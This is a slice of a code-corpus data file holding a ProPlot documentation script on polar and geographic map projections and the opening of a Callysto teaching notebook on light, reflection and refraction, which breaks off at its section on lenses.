"max_forks_repo_licenses": ["MIT"], "max_forks_count": 15, "max_forks_repo_forks_event_min_datetime": "2019-01-24T17:11:20.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-11T01:53:57.000Z", "avg_line_length": 28.7692307692, "max_line_length": 41, "alphanum_fraction": 0.7058823529, "include": true, "reason": "import numpy", "num_tokens": 119, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4571367168274948, "lm_q2_score": 0.11436852316318395, "lm_q1q2_score": 0.0522820511872272}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.3'\n#       jupytext_version: 1.4.2\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n#\n# .. _polar: https://matplotlib.org/3.1.0/gallery/pie_and_polar_charts/polar_demo.html\n\n# .. _cartopy: https://scitools.org.uk/cartopy/docs/latest/\n\n# .. _basemap: https://matplotlib.org/basemap/index.html\n#\n# .. _ug_proj:\n#\n# Geographic and polar plots\n# ==========================\n#\n# ProPlot includes features for working with `polar axes <polar_>`_\n# and the `cartopy`_ and `basemap`_ map projection packages. These features\n# are optional -- installation of cartopy and basemap are not required.\n#\n# To change the axes projection, pass ``proj='name'`` to\n# `~proplot.ui.subplots`. To use different projections for different\n# subplots, pass a dictionary of projection names with the subplot number as\n# the key -- for example, ``proj={1: 'name'}``. The default \"projection\" is\n# always `~proplot.axes.CartesianAxes`.\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_polar:\n#\n# Polar axes\n# ----------\n#\n# To draw `polar axes <polar_>`_, pass ``proj='polar'`` or e.g. ``proj={1:'polar'}``\n# to `~proplot.ui.subplots`. This generates a `~proplot.axes.PolarAxes`\n# instance with its own `proplot.axes.PolarAxes.format` command. This\n# command permits polar-specific modifications like changing the central radius `r0`,\n# the zero azimuth location `theta0`, and the positive azimuthal direction `thetadir`.\n# It also supports changing the radial and azimuthal limits `rlim` and `thetalim`,\n# which can be used to make sector plots and annular plots.\n#\n# For details, see `proplot.axes.PolarAxes.format`.\n\n# %%\nimport proplot as plot\nimport numpy as np\nN = 200\nstate = np.random.RandomState(51423)\nx = np.linspace(0, 2 * np.pi, N)\ny = 100 * (state.rand(N, 5) - 0.3).cumsum(axis=0) / N\nfig, axs = plot.subplots([[1, 1, 2, 2], [0, 3, 3, 0]], proj='polar')\naxs.format(\n    suptitle='Polar axes demo', linewidth=1, titlepad='1em',\n    ticklabelsize=9, rlines=0.5, rlim=(0, 19),\n)\nfor i in range(5):\n    xi = x + i * 2 * np.pi / 5\n    axs.plot(xi, y[:, i], cycle='FlatUI', zorder=0, lw=3)\n\n# Standard polar plot\naxs[0].format(\n    title='Normal plot', thetaformatter='tau',\n    rlabelpos=225, rlines=plot.arange(5, 30, 5),\n    color='red8', tickpad='1em',\n)\n\n# Sector plot\naxs[1].format(\n    title='Sector plot', thetadir=-1, thetalines=90, thetalim=(0, 270), theta0='N',\n    rlim=(0, 22), rlines=plot.arange(5, 30, 5),\n)\n\n# Annular plot\naxs[2].format(\n    title='Annular plot', thetadir=-1, thetalines=20, gridcolor='red',\n    r0=-20, rlim=(0, 22), rformatter='null', rlocator=2\n)\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_geo:\n#\n# Geographic axes\n# ---------------\n#\n# ProPlot can turn any subplot into a geographic projection using\n# the `cartopy`_ or `basemap`_ packages as \"backends\". To turn a subplot into\n# a geographic projection, pass ``proj='name'`` or e.g. ``proj={2: 'name'}``\n# (:ref:`see above <ug_proj>`) to  `~proplot.ui.subplots`\n# where ``name`` is any valid :ref:`PROJ projection name <proj_included>`.\n# You can also generate a `cartopy.crs.Projection` or `mpl_toolkits.basemap.Basemap`\n# instance directly using the `~proplot.constructor.Proj` constructor function and\n# pass the class instance with ``proj=<object>``.\n#\n# When you request a geographic projection,\n# `~proplot.ui.subplots` returns instances of `proplot.axes.CartopyAxes`\n# or `proplot.axes.BasemapAxes`, depending on whether ``basemap=True`` was used.\n# Both of these derive from `proplot.axes.GeoAxes`, which includes a\n# `~proplot.axes.GeoAxes.format` method. This method allows you to\n# :ref:`modify geographic features <ug_geoformat>` with the same syntax whether\n# cartopy or basemap is the \"backend\".\n#\n# * `proplot.axes.CartopyAxes` unifies the `cartopy.mpl.geoaxes.GeoAxes`\n#   class with the `proplot.axes.Axes` class. The `~proplot.axes.GeoAxes.format`\n#   method changes map bounds with\n#   `~cartopy.mpl.geoaxes.GeoAxes.set_extent`, adds major and minor gridlines with\n#   `~cartopy.mpl.geoaxes.GeoAxes.gridlines`, and adds geographic features with\n#   `~cartopy.mpl.geoaxes.GeoAxes.add_feature`.\n#\n# * `~proplot.axes.BasemapAxes` redirects the plot, scatter, contour, contourf,\n#   pcolor, pcolormesh, quiver, streamplot, and barb *axes methods* to\n#   identically named methods on the `~mpl_toolkits.basemap.Basemap` instance.\n#   This means you can work with *axes* plotting methods rather than the\n#   basemap methods, just like cartopy. The `~proplot.axes.GeoAxes.format`\n#   method adds major and minor gridlines with\n#   `~mpl_toolkits.basemap.Basemap.drawmeridians` and\n#   `~mpl_toolkits.basemap.Basemap.drawparallels` and adds geographic features\n#   with commands like `~mpl_toolkits.basemap.Basemap.fillcontinents`\n#   and `~mpl_toolkits.basemap.Basemap.drawcoastlines`. In case you need to\n#   use it, the corresponding `~mpl_toolkits.basemap.Basemap` instance is\n#   available via the `proplot.axes.BasemapAxes.projection` attribute.\n#\n# These features let you work with geographic data without having to invoke verbose\n# cartopy classes like `~cartopy.crs.LambertAzimuthalEqualArea` and\n# `~cartopy.feature.NaturalEarthFeature` or keep track of a separate\n# `~mpl_toolkits.basemap.Basemap` object. They considerably reduce the amount of\n# code needed to make geographic plots. In the below examples, we create a variety\n# of geographic plots with both cartopy and basemap as the backends.\n#\n# .. note::\n#\n#    * ProPlot ensures that polar cartopy projections like\n#      `~cartopy.crs.NorthPolarStereo` have circular boundaries (see `this example\\\n#      <https://scitools.org.uk/cartopy/docs/latest/gallery/always_circular_stereo>`__\n#      from the cartopy website).\n#    * By default, non-polar cartopy projections are forced to have global extent\n#      with `~cartopy.mpl.geoaxes.GeoAxes.set_global` and polar cartopy projections\n#      are bounded at the equator. This stands in contrast to the default cartopy\n#      behavior, where map boundaries are determined automatically based on the\n#      coordinates of the plotted content. To revert to cartopy's default behavior,\n#      set :rcraw:`cartopy.autoextent` to ``True`` or pass ``autoextent=True``\n#      to `~proplot.axes.CartopyAxes`.\n#    * To make things more consistent between cartopy and basemap, the\n#      `~proplot.constructor.Proj` constructor function lets you supply native\n#      `PROJ <https://proj.org>`__ keyword names for the cartopy\n#      `~cartopy.crs.Projection` classes (e.g. `lon_0` instead of `central_longitude`)\n#      and instantiates `~mpl_toolkits.basemap.Basemap` projections with sensible\n#      default PROJ parameters rather than raising an error when they are\n#      omitted (e.g. ``lon_0=0`` as the default for most projections).\n#\n# .. warning::\n#\n#    Basemap is `no longer a maintained package\\\n#    <https://matplotlib.org/basemap/users/intro.html#cartopy-new-management-and-eol-announcement>`__.\n#    However as shown below, gridline labels tend to look much nicer in basemap\n#    than in cartopy -- especially when \"inline\" cartopy labels are disabled.\n#    This is the main reason ProPlot continues to support both basemap and cartopy.\n#    When cartopy catches up, basemap support may be deprecated.\n\n# %%\n# Simple figure with just one projection\n\n# Option 1: Create a projection manually with plot.Proj()\n# immport proplot as plot\n# proj = plot.Proj('robin', lon_0=180)\n# fig, axs = plot.subplots(nrows=2, axwidth=3, proj=proj)\n\n# Option 2: Pass the name to 'proj' and keyword arguments to 'proj_kw'\nimport proplot as plot\nfig, axs = plot.subplots(nrows=2, axwidth=3, proj='robin', proj_kw={'lon_0': 180})\naxs.format(\n    suptitle='Figure with single projection',\n    coast=True, latlines=30, lonlines=60,\n)\n\n# %%\n# Complex figure with different projections\nimport proplot as plot\nfig, axs = plot.subplots(\n    ncols=2, nrows=3,\n    hratios=(1, 1, 1.4),\n    basemap=(False, True, False, True, False, True),  # cartopy column 1\n    proj=('cyl', 'cyl', 'hammer', 'hammer', 'npstere', 'npstere'),\n)\naxs.format(\n    suptitle='Figure with several projections',\n    collabels=['Cartopy projections', 'Basemap projections'],\n    coast=True, latlines=20, lonlines=30,\n    lonlabels='b', latlabels='r',  # or lonlabels=True, labels=True, etc.\n)\naxs[0, :].format(latlines=30, lonlines=60, labels=True)\nplot.rc.reset()\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_geoplot:\n#\n# Plotting geographic data\n# ------------------------\n#\n# In ProPlot, plotting in `~proplot.axes.GeoAxes` is not much different from\n# plotting in `~proplot.axes.CartesianAxes`. ProPlot makes longitude-latitude\n# (i.e. Plate Carr\u00e9e) coordinates the *default* coordinate system for your\n# datasets by passing ``transform=ccrs.PlateCarree()`` to cartopy plotting\n# commands and ``latlon=True`` to basemap plotting commands. And again, basemap\n# plotting commands are invoked from the `proplot.axes.GeoAxes` rather\n# than from the `~mpl_toolkits.basemap.Basemap` instance.\n#\n# To ensure 2D plots like `~matplotlib.axes.Axes.contour` cover the entire globe,\n# pass ``globe=True`` to the plotting command. This interpolates your data\n# to the poles and across the longitude seams before plotting, having the same\n# effect as cartopy's `~cartopy.util.add_cyclic_point` function and basemap's\n# `~mpl_toolkits.basemap.addcyclic` function.\n#\n# Geographic feature can be drawn underneath data or on top of data by changing the\n# corresponding `zorder <https://matplotlib.org/3.1.1/gallery/misc/zorder_demo.html>`__\n# rc setting. For example, to draw land patches on top of all plotted content as\n# a \"land mask,\" use ``ax.format(land=True, landzorder=4)``.\n# See the :ref:`next section <ug_geoformat>` for details.\n\n# %%\nimport proplot as plot\nimport numpy as np\n\n# Fake data with unusual longitude seam location and without coverage over poles\noffset = -40\nlon = plot.arange(offset, 360 + offset - 1, 60)\nlat = plot.arange(-60, 60 + 1, 30)\nstate = np.random.RandomState(51423)\ndata = state.rand(len(lat), len(lon))\n\n# Plot data both without and with globe=True\nfor globe in (False, True,):\n    string = 'with' if globe else 'without'\n    fig, axs = plot.subplots(\n        ncols=2, nrows=2, axwidth=2.5,\n        proj='kav7', basemap={(1, 3): False, (2, 4): True}\n    )\n    axs.format(\n        suptitle=f'Geophysical data {string} global coverage',\n        collabels=['Cartopy example', 'Basemap example'],\n        rowlabels=['Contourf', 'Pcolormesh'],\n        abc=True, abcstyle='a)', abcloc='ul', abcborder=False,\n        coast=True, lonlines=90,\n    )\n    for i, ax in enumerate(axs):\n        cmap = ('sunset', 'sunrise')[i % 2]\n        if i < 2:\n            m = ax.contourf(lon, lat, data, cmap=cmap, globe=globe, extend='both')\n            fig.colorbar(m, loc='b', span=i + 1, label='values', extendsize='1.7em')\n        else:\n            ax.pcolor(lon, lat, data, cmap=cmap, globe=globe, extend='both')\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_geoformat:\n#\n# Formatting projections\n# ----------------------\n#\n# `~proplot.axes.CartopyAxes` and `~proplot.axes.BasemapAxes` both derive from\n# `proplot.axes.GeoAxes`, which provides a `~proplot.axes.GeoAxes.format` method.\n# This can be used to draw \"major\" gridlines \"minor\" gridlines. Gridline locations\n# and label formats can be configured with the `lonlocator`, `latlocator`,\n# `lonformatter`, `latformatter`, `lonminorlocator`, and `latminorlocator` keywords.\n# Major gridline labels and their positions can be configured with the `labels`,\n# `lonlabels`, and `latlabels` keywords. Cartopy map bounds can be set with the\n# `lonlim`, `latlim`, and `boundinglat` keywords. Geographic features like land masses,\n# coastlines, and administrative borders can be toggled on and off and stylized with\n# a variety of :ref:`rc settings <rc_proplot>`. Finally, `proplot.axes.GeoAxes.format`\n# also calls `proplot.axes.Axes.format`, and so can be used to for subplot titles,\n# a-b-c labels, and figure titles as before.\n#\n# For details, see the `proplot.axes.GeoAxes.format` documentation.\n\n# %%\nimport proplot as plot\nfig, axs = plot.subplots(\n    [[1, 1, 2], [3, 3, 3]],\n    axwidth=4, proj={1: 'eqearth', 2: 'ortho', 3: 'wintri'},\n    wratios=(1, 1, 1.2), hratios=(1, 1.2),\n)\naxs.format(\n    suptitle='Projection axes formatting demo',\n    collabels=['Column 1', 'Column 2'],\n    abc=True, abcstyle='A.', abcloc='ul', abcborder=False, linewidth=1.5\n)\n\n# Styling projections in different ways\nax = axs[0]\nax.format(\n    title='Equal earth', land=True, landcolor='navy', facecolor='pale blue',\n    coastcolor='gray5', borderscolor='gray5', innerborderscolor='gray5',\n    gridlinewidth=1.5, gridcolor='gray5', gridalpha=0.5,\n    gridminor=True, gridminorlinewidth=0.5,\n    coast=True, borders=True, borderslinewidth=0.8,\n)\nax = axs[1]\nax.format(\n    title='Orthographic', reso='med', land=True, coast=True, latlines=10, lonlines=15,\n    landcolor='mushroom', suptitle='Projection axes formatting demo',\n    facecolor='petrol', coastcolor='charcoal', coastlinewidth=0.8, gridlinewidth=1\n)\nax = axs[2]\nax.format(\n    land=True, facecolor='ocean blue', landcolor='bisque', title='Winkel tripel',\n    lonlines=60, latlines=15,\n    gridlinewidth=0.8, gridminor=True, gridminorlinestyle=':',\n    lonlabels=True, latlabels='r', loninline=True,\n    gridlabelcolor='gray8', gridlabelsize='med-large',\n)\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_zoom:\n#\n# Zooming into projections\n# ------------------------\n#\n# To zoom into cartopy projections, use\n# `~cartopy.mpl.geoaxes.GeoAxes.set_extent` or pass `lonlim`,\n# `latlim`, or `boundinglat` to `~proplot.axes.GeoAxes.format`. The `boundinglat`\n# keyword controls the circular latitude boundary for North Polar and\n# South Polar Stereographic, Azimuthal Equidistant, Lambert Azimuthal\n# Equal-Area, and Gnomonic projections. By default, ProPlot tries to use the\n# degree-minute-second cartopy locators and formatters made available in cartopy\n# 0.18. You can switch from minute-second subintervals to traditional decimal\n# subintervals by passing ``dms=False`` to `~proplot.axes.GeoAxes.format`.\n#\n# To zoom into basemap projections, pass any of the `boundinglat`,\n# `llcrnrlon`, `llcrnrlat`, `urcrnrlon`, `urcrnrlat`, `llcrnrx`, `llcrnry`,\n# `urcrnrx`, `urcrnry`, `width`, or `height` keyword arguments to\n# the `~proplot.constructor.Proj` constructor function either directly or via\n# the `proj_kw` `~proplot.ui.subplots` keyword argument. You can also pass\n# `lonlim` and `latlim` to `~proplot.constructor.Proj` and these arguments\n# will be used for `llcrnrlon`, `llcrnrlat`, etc. You can not zoom into basemap\n# projections with `format` after they have already been created.\n\n# %%\nimport proplot as plot\n\n# Plate Carr\u00e9e map projection\nplot.rc.reso = 'med'  # use higher res for zoomed in geographic features\nproj = plot.Proj('cyl', lonlim=(-20, 180), latlim=(-10, 50), basemap=True)\nfig, axs = plot.subplots(nrows=2, axwidth=5, proj=('cyl', proj))\naxs.format(\n    land=True, labels=True, lonlines=20, latlines=20,\n    gridminor=True, suptitle='Zooming into projections'\n)\naxs[0].format(\n    lonlim=(-140, 60), latlim=(-10, 50),\n    labels=True, title='Cartopy example'\n)\naxs[1].format(title='Basemap example')\n\n# %%\nimport proplot as plot\n\n# Pole-centered map projections\nproj = plot.Proj('npaeqd', boundinglat=60, basemap=True)\nfig, axs = plot.subplots(ncols=2, axwidth=2.7, proj=('splaea', proj))\naxs.format(\n    land=True, latmax=80,  # no gridlines poleward of 80 degrees\n    suptitle='Zooming into polar projections'\n)\naxs[0].format(boundinglat=-60, title='Cartopy example')\naxs[1].format(title='Basemap example')\n\n# %%\nimport proplot as plot\n\n# Zooming in on continents\nproj1 = plot.Proj('lcc', lon_0=0)  # cartopy projection\nproj2 = plot.Proj('lcc', lon_0=-100, lat_0=45, width=8e6, height=8e6, basemap=True)\nfig, axs = plot.subplots(ncols=2, axwidth=3, proj=(proj1, proj2))\naxs.format(suptitle='Zooming into specific regions', land=True)\naxs[0].format(lonlim=(-20, 50), latlim=(30, 70), title='Cartopy example')\naxs[1].format(lonlines=20, title='Basemap example')\n\n# Zooming to very small scale with degree-minute-second labels\nplot.rc.reso = 'hi'\nfig, axs = plot.subplots(ncols=2, axwidth=2.5, proj='cyl')\naxs.format(\n    land=True, labels=True,\n    borders=True, borderscolor='white',\n    suptitle='Degree-minute-second labels',\n)\naxs[0].format(lonlim=(-7.5, 2), latlim=(49.5, 59))\naxs[1].format(lonlim=(-6, -2), latlim=(54.5, 58.5))\nplot.rc.reset()\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _proj_included:\n#\n# Included projections\n# --------------------\n#\n# The available `cartopy <https://scitools.org.uk/cartopy/docs/latest/>`__\n# and `basemap <https://matplotlib.org/basemap/index.html>`__ projections are\n# plotted below. See `~proplot.constructor.Proj` for a table of projection\n# names with links to the relevant `PROJ <https://proj.org>`__ documentation.\n#\n# ProPlot uses the cartopy API to add the Aitoff, Hammer, Winkel Tripel, and\n# Kavrisky VII projections (i.e. ``'aitoff'``, ``'hammer'``, ``'wintri'``,\n# and ``'kav7'``), as well as North and South polar versions of the Azimuthal\n# Equidistant, Lambert Azimuthal Equal-Area, and Gnomic projections (i.e.\n# ``'npaeqd'``, ``'spaeqd'``, ``'nplaea'``, ``'splaea'``, ``'npgnom'``, and\n# ``'spgnom'``), modeled after the existing `~cartopy.crs.NorthPolarStereo`\n# and `~cartopy.crs.SouthPolarStereo` projections.\n\n# %%\nimport proplot as plot\n\n# Table of cartopy projections\nprojs = [\n    'cyl', 'merc', 'mill', 'lcyl', 'tmerc',\n    'robin', 'hammer', 'moll', 'kav7', 'aitoff', 'wintri', 'sinu',\n    'geos', 'ortho', 'nsper', 'aea', 'eqdc', 'lcc', 'gnom',\n    'npstere', 'nplaea', 'npaeqd', 'npgnom', 'igh',\n    'eck1', 'eck2', 'eck3', 'eck4', 'eck5', 'eck6'\n]\nfig, axs = plot.subplots(ncols=3, nrows=10, width=7, proj=projs)\naxs.format(\n    land=True, reso='lo', labels=False,\n    suptitle='Table of cartopy projections'\n)\nfor proj, ax in zip(projs, axs):\n    ax.format(title=proj, titleweight='bold', labels=False)\n\n# %%\nimport proplot as plot\n\n# Table of basemap projections\nprojs = [\n    'cyl', 'merc', 'mill', 'cea', 'gall', 'sinu',\n    'eck4', 'robin', 'moll', 'kav7', 'hammer', 'mbtfpq',\n    'geos', 'ortho', 'nsper',\n    'vandg', 'aea', 'eqdc', 'gnom', 'cass', 'lcc',\n    'npstere', 'npaeqd', 'nplaea'\n]\nfig, axs = plot.subplots(ncols=3, nrows=8, basemap=True, width=7, proj=projs)\naxs.format(\n    land=True, labels=False,\n    suptitle='Table of basemap projections'\n)\nfor proj, ax in zip(projs, axs):\n    ax.format(title=proj, titleweight='bold', labels=False)\n", "meta": {"hexsha": "a7b048cf3cca6bab21d2741dc92750f401936f19", "size": 18833, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/projections.py", "max_stars_repo_name": "zmoon92/proplot", "max_stars_repo_head_hexsha": "2c6f7af8a044567bb9409d3f67d844bac05c7d14", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-03-30T00:34:11.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-30T00:34:11.000Z", "max_issues_repo_path": "docs/projections.py", "max_issues_repo_name": "zmoon92/proplot", "max_issues_repo_head_hexsha": "2c6f7af8a044567bb9409d3f67d844bac05c7d14", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "docs/projections.py", "max_forks_repo_name": "zmoon92/proplot", "max_forks_repo_head_hexsha": "2c6f7af8a044567bb9409d3f67d844bac05c7d14", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.9413043478, "max_line_length": 102, "alphanum_fraction": 0.6989327245, "include": true, "reason": "import numpy", "num_tokens": 5598, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4148988457967689, "lm_q2_score": 0.12592277303570512, "lm_q1q2_score": 0.05224521319204255}}
{"text": "![Callysto.ca Banner](https://github.com/callysto/curriculum-notebooks/blob/master/callysto-notebook-banner-top.jpg?raw=true)\n\n<a href=\"https://hub.callysto.ca/jupyter/hub/user-redirect/git-pull?repo=https%3A%2F%2Fgithub.com%2Fcallysto%2Fcurriculum-notebooks&branch=master&subPath=Science/LightOpticalSystems/light-optical-systems.ipynb&depth=1\" target=\"_parent\"><img src=\"https://raw.githubusercontent.com/callysto/curriculum-notebooks/master/open-in-callysto-button.svg?sanitize=true\" width=\"123\" height=\"24\" alt=\"Open in Callysto\"/></a>\n\nimport matplotlib.pyplot as plt\nimport plotly as py\nimport plotly.graph_objs as go\nimport numpy as np\nimport math\nimport ipywidgets as widgets\nfrom IPython.display import display, Math, Latex, HTML, IFrame\nfrom astropy.table import Table, Column\nfrom ipywidgets import interact, interactive\n\npy.offline.init_notebook_mode(connected=True)\n%matplotlib inline\n\nfont = {'family' : 'sans-serif',\n        'weight' : 'normal',\n        'size'   : 14}\n\nplt.rc('font', **font)\n\n'''Above, we are importing all the necessary modules in order to run the notebook. \nNumpy allows us to define arrays of values for our variables to plot them\nmatplotlib is what we use to create the figures\nthe display and widgets are to make the notebook look neat\n'''\n\nHTML('''<script>\n  function code_toggle() {\n    if (code_shown){\n      $('div.input').hide('500');\n      $('#toggleButton').val('Show Code')\n    } else {\n      $('div.input').show('500');\n      $('#toggleButton').val('Hide Code')\n    }\n    code_shown = !code_shown\n  }\n  \n  $( document ).ready(function(){\n    code_shown=false;\n    $('div.input').hide()\n  });\n</script>\n<form action=\"javascript:code_toggle()\"><input type=\"submit\" id=\"toggleButton\" value=\"Show Code\"></form>''')\n        \n    \n\n\n***\n# Light and Optics\n***\n\n<img src=\"https://media.giphy.com/media/3o7OsM9vKFH2ESl0KA/giphy.gif\" alt=\"Drawing\" style=\"width: 600px;\"/>\n<center>Gif taken from https://giphy.com/gifs/fandor-sun-eclipse-3o7OsM9vKFH2ESl0KA/links, August 1st, 2018.</center>\n<center> Figure 1: For hundreds of years, scientists have tried to understand the nature of light. With advances in technology, and inventions like telescopes, we have been able to see farther than ever before. </center> \n\n***\n\n## Introduction\n\nThroughout most of history, humans did not understand light as we do today. As science and technology have progressed over time, so too has our knowledge of the nature of light. \n\nIn this lesson, when we say the word \"light\", we will be referring to visible light (light that comes from the sun, lightbulbs etc.). We will go over how a few key experiments kickstarted a new way of thinking, and a few of the ways that we are able to manipulate light. We will also talk about how our eyes enable us to see.\n\n## Background\n\nIf you had to describe to someone what light is, you may have a hard time. Some people think of light as the absence of darkness, but even that doesn't say much about light itself.\n\nOur understanding of light truly began around the 17th century, when a few individuals started to realize that light was not a mystical substance. Scientists (or \"natural philosophers\", as they were called during that time) recognized that certain properties of light were measurable, and that some properties could be manipulated. Sir Isaac Newton and Ole R\u00f8mer were among the first scientists to take a step in this direction.\n\n\n> ### Isaac Newton's Prism Experiment\n\nSir Isaac Newton has made contributions to many fields of science and mathematics. In 1666, while spending time at his childhood home in Lincolnshire, England, Newton began experimenting with light. \n\nUsing a small slit in his window shutters, Newton passed a narrow beam of sunlight through a glass prism. The light travelled through the prism, and projected a rainbow of color on the other side!\n\n<img src=\"http://media.web.britannica.com/eb-media/10/7710-050-36C066AC.jpg\" >\n\n<center>Picture taken from http://media.web.britannica.com/eb-media/10/7710-050-36C066AC.jpg.</center>\n<center> Figure 2: This picture shows how a prism can create a spectrum of color. This is what Newton would have seen in 1666.</center>\n\nLater on, scientists determined that the prism was actually splitting light into its component parts. This phenomenon is called **dispersion**.\n\nThrough this experiment, Newton demonstrated that white light was actually made up of all the individual colors of the rainbow!\n\n> ### Ole R\u00f8mer and the Speed of Light\n\nFor many years, people thought that if somebody lit a match, the light from that match would be instantly visible to everyone, no matter how far away they were. However, in 1676 Ole R\u00f8mer proved that this is not the case.\n\nR\u00f8mer spent a long time studying the orbit of Io, one of Jupiter's moons. As part of his study, he began predicting the times when Io should be hidden behind Jupiter's shadow (these periods are called eclipses). However, R\u00f8mer saw that his predictions for when these eclipses should occur were not always accurate. \n\n<img src=\"https://media.giphy.com/media/DXIa1beDspYRy/giphy.gif\" alt=\"Drawing\" style=\"width: 300px;\"/>\n<center>Gif taken from https://giphy.com/gifs/timelapse-DXIa1beDspYRy, August 1st, 2018.</center>\n<center> Figure 3: Here we can see Jupiter as it looks through a telescope. You might be able to see a black spot move from the left to the right across Jupiter's surface. This is actually one of Jupiter's many moons!</center> \n\nR\u00f8mer then realized that these errors may be because the distance between Io and the Earth was always changing. R\u00f8mer thought that when the distance between Io and the Earth increased, it might take a longer time for light coming from Io to reach Earth. If this were the case, then the light must be travelling at a finite speed!\n\nAfter taking many measurements and using some clever mathematics, R\u00f8mer calculated the speed of light to be roughly 220,000,000 m/s, or 792,000,000 km/h.\n\nToday, we have measured the speed of light to be 299,792,458 m/s. Although he was not exactly right, R\u00f8mer provided one of the first mathematical calculations for the speed of light. \n\n***\nSince the time of R\u00f8mer and Newton, scientists have made many new discoveries about the nature of light. While not all of these discoveries agree with one another, here are two things we know for sure:\n- Light is made up of a spectrum of color\n- Light travels at a speed of 299,792,458 m/s\n\nNow let's talk about some of the ways we can manipulate light.\n***\n\n## Reflection\n\nWe are all familiar with reflection; chances are, you look at your reflection more than once a day. But have you ever stopped to wonder what is really going on? \n\nReflection is the term used to describe how light can change direction when it comes into contact with certain surfaces. \n\nWhen incoming light rays encounter a reflective surface, they bounce off the surface and continue moving in a new direction. The new direction in which it moves is determined by the **law of reflection**.\n\n\\begin{equation} \n\\rm Law\\: of\\: Reflection: Angle\\: of\\: Incidence = Angle\\: of\\: Reflection\n\\end{equation}\n\nOn the animation below, click on the flashlight to turn it on, and move your mouse to change the angle of incidence.\n\n#IFrame('Animations/reflect.html',width=500,height=320)\n\n%%html\n<iframe src='Animations/reflect.html' width=500 height=350></iframe>\n\n\nAs seen above, the **normal** is what we call the line that forms a 90$^{\\circ}$ angle with  the surface. The **angle of incidence** is what we call the angle between the flash lights beam and the normal. Similarly, the **angle of reflection** is the angle that the newly reflected light beam makes with the normal. The law of reflection states that these two angles will always be equal.\n\n\n\n## Refraction\n\nHave you ever tried to reach down and grab an object sitting at the bottom of a pool of water? If you have, you may have noticed that the object isn't actually in the location that you thought it was.\n\n<img src=\"http://legacy.sciencelearn.org.nz/var/sciencelearn/storage/images/contexts/light-and-sight/sci-media/video/refraction/668954-1-eng-NZ/Refraction.jpg\" alt=\"Drawing\" style=\"width: 450px;\"/>\n<center> Image taken from http://legacy.sciencelearn.org.nz/Contexts/Light-and-Sight/Sci-Media/Video/Refraction/(quality)/hi on August 3rd, 2018.</center>\n<center> Figure 4: When you are looking into a body of water from above, the objects you see beneath the surface are not actually where they appear to be. </center>\n\nThis phenomenon occurs because the light travelling to your eyes from the bottom of the pool **refracts**, or changes its direction of travel, when it transitions from water to air. \n\nThe **index of refraction** is a value that we use to show how much light will bend when travelling through a substance. For example, the index of refraction for air is approximately 1.00, and the index of refraction for water is about 1.33. Because these indexes are different, light will bend when passing from water to air, or vice versa.\n\nUse the animation below to see how light refracts when passing from air to water. Click on the flashlight to turn it on.\n\n#IFrame('Animations/refract.html',width=520,height=320)\n\n%%html\n<iframe src='Animations/refract.html' width=520 height=320></iframe>\n\n\nMathematically, reflection can be described using the following equation, known as Snell's Law:\n\n\\begin{equation} \n\\textrm{Snells Law:}\\: n_1\\sin(\\theta_1) = n_2\\sin(\\theta_2)\n\\end{equation}\n\nwhere $n_1$ is the index of refraction for the first medium, $\\theta_1$ is the incident angle, $n_2$ is the index of refraction for the second medium, and $\\theta_2$ is the angle of refraction.\n\nLight will bend *towards* the normal when travelling from a medium with a *lower* index of refraction to one with a *higher* index of refraction, and vice versa.\n\n***\nSome of the most beautiful sights in nature are caused by reflection and refraction. Here are a couple of examples:\n\n### Rainbows\n\nRainbows are a result of both reflection and refraction. As its raining, each water droplet acts like a tiny prism, just like the one we saw in Figure 2. The water droplets split visible light into colors, and these colors are then reflected back towards our eyes. \n\n<img src=\"http://waterstories.nestle-waters.com/wp-content/uploads/2015/04/How-rainbow-forms-waterstories.jpg\" alt=\"Drawing\" style=\"width: 400px;\"/>\n<center> Image taken from https://waterstories.nestle-waters.com/environment/how-does-a-rainbow-form/ on August 3rd, 2018.</center>\n<center> Figure 5: Water droplets use reflection and refraction to create the beautiful rainbows that we see while it is raining.</center>\n\n\n\n### Mirages\n\nHave you ever been driving on a sunny day, and up ahead it looks as though a stream of water is running across the road? You are really seeing a mirage.\nMirages also occur because of refraction, but they do not result in a display of color like a rainbow. This type of refraction occurs due to a difference in temperature between separate layers of air.\n\nAs we were describing before, refraction occurs when light travels from one substance to another. Well, it turns out that hot air and cold air are actually different enough to act as different substances. Therefore, light will refract when passing through one to the other. \n\n<img src=\"http://edex.s3-us-west-2.amazonaws.com/styles/kraken_optimized/s3/banner-mirage.jpg?itok=YXSTIo8_\" alt=\"Drawing\" style=\"width: 400px;\"/>\n<center> Image taken from https://edexcellence.net/articles/what-the-mirage-gets-wrong-on-teacher-development on August 3rd, 2018.</center>\n<center> Figure 6: Although it may look like water running across the road, it is actually a mirage. These commonly occur in desert areas, where the road can become very hot.</center>\n\nWhen you are looking at a mirage, it can look as though the air is wavy and fluid, which is why it is common to think that you are looking at water. This appearance occurs when layers of hot and cold air are mixing together, and light passing through these layers is constantly being refracted in different directions.\n\nYou may see a mirage appear on top of a hot roadway, behind the exhaust pipe of a plane or car, or around any other source of heat.\n\n## Applications of Reflection and Refraction\n\n### Lenses\n\nIf 